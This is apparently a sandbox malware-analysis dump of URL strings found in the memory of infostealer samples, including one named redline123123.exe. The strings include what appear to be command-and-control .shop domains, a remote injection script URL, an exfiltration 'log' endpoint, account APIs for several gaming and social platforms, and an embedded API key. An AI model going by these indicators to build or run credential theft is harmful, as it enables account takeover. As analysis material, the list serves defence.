Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2502237577.00000194CFD90000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://account.riotgames.com/api/account/v1/user
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://account.riotgames.com/api/account/v1/userT
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://accounts.reddit.com/api/access_token
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://accounts.reddit.com/api/access_tokenaaccess_tokenuandroid:com.example.myredditapp:v1.2.3uBea
Source: One.exe, 0000001F.00000002.2126834542.000000000294B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.s
Source: redline123123.exe, 0000000E.00000000.1954896138.0000000000E32000.00000002.00000001.01000000.0000000B.sdmp, redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp, One.exe, 0000001F.00000002.2126834542.000000000294B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500756981.00000194CDE20000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500756981.00000194CDE20000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F9
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2491330944.00000194D0182000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2488788743.00000194D0182000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://bugs.python.org/issue37179
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/u.pngu.gifuunsupported
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file
Source: stub.exe, 0000000F.00000002.2509046548.00000194D0FC8000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, stub.exe, 0000000F.00000002.2509046548.00000194D1098000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5246#section-7.4.1.4.1
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deprivedrinkyfaiir.shop/
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deprivedrinkyfaiir.shop/(&C
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deprivedrinkyfaiir.shop//
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deprivedrinkyfaiir.shop/api
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://detailbaconroollyws.shop/X
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://detailbaconroollyws.shop/api
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://detailbaconroollyws.shop/apiU
Source: RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://detailbaconroollyws.shop/apiz
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://detailbaconroollyws.shop/x&
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://discord.com/api/v8/guilds/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://discord.com/api/v8/guilds/u/invitesainvitesuhttps://discord.gg/acodeuhttps://t.me/monster_fr
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://discord.com/api/v8/users/
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://discord.gg/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/client_advanced.html#character-set-detection
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/client_advanced.html#character-set-detectionaDeprecationWarningD
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2491330944.00000194D0182000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2488788743.00000194D0182000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/client_advanced.html#proxy-support
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-profile/customizi
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2503018233.00000194D008F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2489267408.00000194D08C4000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2492815865.00000194D08C4000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, stub.exe, 0000000F.00000003.2498165042.00000194D08C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.7/library/asyncio-eventloop.html
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://docs.python.org/3/library/ssl.html#ssl.OP_NO_COMPRESSION
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://docs.python.org/3/library/ssl.html#ssl.OP_NO_COMPRESSIONaset_default_verify_pathsuSSL
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://economy.roblox.com/v1/users/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://filepreviews.io/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2504920117.00000194D04E0000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com
Source: stub.exe, 0000000F.00000003.2489267408.00000194D08C4000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2492815865.00000194D08C4000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, stub.exe, 0000000F.00000003.2498165042.00000194D08C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Ousret/charset_normalizer
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2491330944.00000194D0182000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2488788743.00000194D0182000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/aio-libs/aiohttp/discussions/6044
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/8996
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/9253
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/blob/main/.github/CONTRIBUTING.md)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1141)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1158)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1165)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1172)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1187)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1200)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1203)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2503018233.00000194D008F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/136
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2503018233.00000194D008F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/251
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2503018233.00000194D008F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/428
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/wiki/Extensions-to-attrs)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2491330944.00000194D0182000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2488788743.00000194D0182000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/28073
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/sponsors/hynek
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/sponsors/hynek).
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://gql.twitch.tv/gql
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://gql.twitch.tv/gqlT
Source: RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://horsedwollfedrwos.shop/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://hynek.me/articles/import-attrs/)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=true
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=trueuhttps://i.instagram.com/api/v1/users
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/users/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://instagram.com/
Source: svchost.exe, 00000021.00000003.2208046652.0000027091102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uif
Source: svchost.exe, 00000021.00000003.2208046652.0000027091102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2487546266.00000194D0837000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2488921473.00000194D0838000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2491627713.00000194D0839000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://messtimetabledkolvk.shop/
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://messtimetabledkolvk.shop/api
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://oauth.reddit.com/api/v1/me
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://oauth.reddit.com/api/v1/meuNo
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://open.spotify.com/user/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://open.spotify.com/user/u
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://patternapplauderw.shop/3
Source: RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://patternapplauderw.shop/I
Source: RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://patternapplauderw.shop/P
Source: RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://patternapplauderw.shop/e
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://pypi.org/project/attrs/)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500756981.00000194CDE20000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://raw.githubusercontent.com/justforMonster/injection/main/injection.js
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://raw.githubusercontent.com/justforMonster/injection/main/injection.jsanulluMain.GetInjectionC
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.1883918853.00000000010CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://relaxtionflouwerwi.shop/
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://relaxtionflouwerwi.shop/H
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://relaxtionflouwerwi.shop/api
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://relaxtionflouwerwi.shop/apiUQ
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://restores.name/log
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://restores.name/logaN02ZR2UPWFWS3G9qz
